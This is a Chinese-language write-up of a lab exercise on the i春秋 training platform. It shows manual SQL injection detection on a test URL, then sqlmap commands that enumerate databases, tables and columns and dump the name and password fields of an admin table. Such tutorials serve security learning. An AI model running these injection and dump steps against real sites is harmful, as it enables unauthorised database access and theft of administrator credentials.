实训中学习了一下sql注入。于是在i春秋发现了简单的sql注入于是就做的玩了玩。
【无处不在的SQL注入】
下面是一些总结:
第一步 手工检测判断注入点
在网站中查找一个url中带有id 的网址
http://www.test.ichunqiu/Art_Show.php?id=2
首先在id=2后面加一个单引号来判断这是否是一个注入点,返回了一个错误提示更新点击数出现错误!。现在替换一个注入查询语句换成 and 1=1,页面并没有出现变化再换成 and 1=2返回一个错误提示。
提示:
这里出现了一个错误提示,更新点击数出现错误,这样说明我们输入的and 1=1 和and 1=2在数据库内执行了,因为and 1=1这条查询语句就永为真,它就会继续执行,and 1=2 这条语句就为假,查询语句无法继续执行,就会返回错误,这样我们就可以初步判断这个url地址是一个注入点。
第二步 利用sqlmap对注入点进行注入
首先找到文件sqlmap.py所在文件夹,然后在cmd运行
python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2"
返回信息:
返回信息提示这是一个注入点并且返回对方系统的信息,系统是windows
,Web容器是apache2.4.9
版本,语言php5.2.17
版本,目标数据库是mysql5.0.11
版本。
第三步 获取数据库内信息
- 获取有多少个database
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" --dbs
返回信息:
获取数据库内所有数据库的名称,返回信息目标数据库内有四个数据库mys
,mysql
,test
,information_schema
。- 查看网站所依赖的数据库的名称
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" --current–db
返回信息:
当前使用的数据库是mys
- 获取指定数据库内表的信息
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys --tables
返回信息:
- 获取指定数据库内表的字段信息
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys -T zzcms_admin --columns
返回信息:
- 获取获取指定数据库内表的特定字段内容信息
Python sqlmap.py –u "http://www.test.ichunqiu/Art_Show.php?id=2" -D mys -T zzcms_admin –C name,password --dump
返回信息: